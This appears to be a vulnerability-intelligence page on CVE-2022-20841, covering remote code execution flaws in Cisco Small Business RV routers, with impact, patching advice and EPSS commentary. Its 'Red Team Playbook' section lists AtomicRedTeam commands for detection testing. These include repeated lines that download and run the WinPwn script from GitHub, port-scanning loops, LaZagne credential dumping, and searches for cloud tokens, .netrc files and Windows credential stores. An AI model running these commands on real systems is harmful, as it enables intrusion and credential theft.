CVE-2022-20841
Overview
The vulnerabilities stem from improper input validation and memory management errors within the Cisco Small Business RV Series Router firmware, specifically in the RV160, RV260, RV340, and RV345 models. These flaws include buffer overflow conditions (CWE-120) and inadequate filtering of external input (CWE-20) in network-facing components. The affected functionality involves the router's firmware processing routines that handle remote requests without sufficient access controls or boundary checks.
Vulnerability Description
Multiple vulnerabilities in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an unauthenticated, remote attacker to execute arbitrary code or cause a denial of service (DoS) condition on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An unauthenticated remote attacker can exploit these vulnerabilities to execute arbitrary code with elevated privileges or cause a denial of service, disrupting device availability. No user interaction or authentication is required (AV:N/AC:H/PR:N/UI:N), enabling attacks from the network layer. This can lead to full compromise of affected routers, impacting network security and continuity for organizations relying on these devices.
Solution
Cisco has released firmware updates addressing these vulnerabilities for the affected RV Series routers. Users should apply the patches as detailed in Cisco Security Advisory cisco-sa-sb-mult-vuln-CbVp4SUR. Specific firmware versions containing fixes are listed in the advisory. Administrators are advised to follow the vendor's instructions precisely to upgrade the RV160, RV260, RV340, and RV345 firmware to the secure versions to mitigate these issues.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
Multiple vulnerabilities have been identified in Cisco's Small Business RV series routers, specifically the RV160, RV260, RV340, and RV345 models. These vulnerabilities stem from improper input validation and insufficient access controls, which can be exploited by an unauthenticated remote attacker. The flaws allow for arbitrary code execution and can lead to a denial of service (DoS) condition on the affected devices. The severity of these vulnerabilities is underscored by a high CVSS score of 9.0, indicating a critical risk that necessitates immediate attention from network administrators and security professionals.
Attack vectors for these vulnerabilities are particularly concerning due to their remote exploitation capability. An attacker could leverage these flaws by sending specially crafted packets to the affected devices, bypassing authentication mechanisms entirely. This could allow them to execute arbitrary code, potentially taking full control of the router and compromising the entire network infrastructure. Furthermore, the ability to induce a DoS condition means that an attacker could render the router inoperable, disrupting business operations and causing significant downtime. Scenarios could include targeted attacks against small businesses that rely on these routers for their internet connectivity and network management, making them attractive targets for malicious actors.
The real-world impact of these vulnerabilities can be profound, especially for small and medium-sized enterprises (SMEs) that often utilize these routers for their networking needs. A successful exploit could lead to unauthorized access to sensitive data, including customer information and proprietary business data. Additionally, the disruption caused by a DoS attack could result in financial losses, reputational damage, and potential legal liabilities if customer data is compromised. The interconnected nature of modern business environments means that a breach in one area can have cascading effects, impacting not just the affected organization but also its partners and clients.
Detection and mitigation strategies are essential for organizations using the affected Cisco routers. Regularly updating the router firmware is the first line of defense, as Cisco typically releases patches to address known vulnerabilities. Network administrators should also implement strict access controls and monitor network traffic for unusual patterns that may indicate an attempted exploit. Employing intrusion detection systems (IDS) can help identify and alert on suspicious activities. Additionally, segmenting the network can limit the potential impact of a successful attack, ensuring that critical systems are isolated from less secure devices.
In conclusion, the vulnerabilities present in the Cisco Small Business RV series routers represent a significant threat to network security. The potential for remote code execution and denial of service attacks necessitates a proactive approach to security management. Organizations must prioritize firmware updates, implement robust monitoring and detection mechanisms, and educate staff on security best practices to mitigate the risks associated with these vulnerabilities. By taking these steps, businesses can better protect themselves against the evolving landscape of cyber threats.
Recent CSURFACE threat intelligence indicates a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2022-20841, rising by approximately 23%. Although no new exploit techniques or active exploitation campaigns have been detected by our telemetry, this upward trend in EPSS reflects a growing likelihood that threat actors may prioritize targeting these Cisco Small Business RV series routers. The score’s current position near the upper percentile suggests the vulnerability remains highly relevant within the attacker community’s risk calculus. For defenders, this shift underscores the need for heightened vigilance, as the vulnerability’s exploitability potential is increasing even in the absence of confirmed exploitation events. Consequently, the overall threat level should be considered elevated, signaling a potential precursor to more active exploitation attempts in the near term.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Rv160 Firmware | All |
cpe:2.3:o:cisco:rv160_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv160w Firmware | All |
cpe:2.3:o:cisco:rv160w_firmware:*:*:*:*:*:*:*:*
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|
|
Cisco | Rv260 Firmware | All |
cpe:2.3:o:cisco:rv260_firmware:*:*:*:*:*:*:*:*
|
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|
Cisco | Rv260p Firmware | All |
cpe:2.3:o:cisco:rv260p_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv260w Firmware | All |
cpe:2.3:o:cisco:rv260w_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv340 Firmware | All |
cpe:2.3:o:cisco:rv340_firmware:*:*:*:*:*:*:*:*
|
|
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Cisco | Rv340w Firmware | All |
cpe:2.3:o:cisco:rv340w_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv345 Firmware | All |
cpe:2.3:o:cisco:rv345_firmware:*:*:*:*:*:*:*:*
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Cisco | Rv345p Firmware | All |
cpe:2.3:o:cisco:rv345p_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-20841 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-mult-vuln-CbVp4SUR |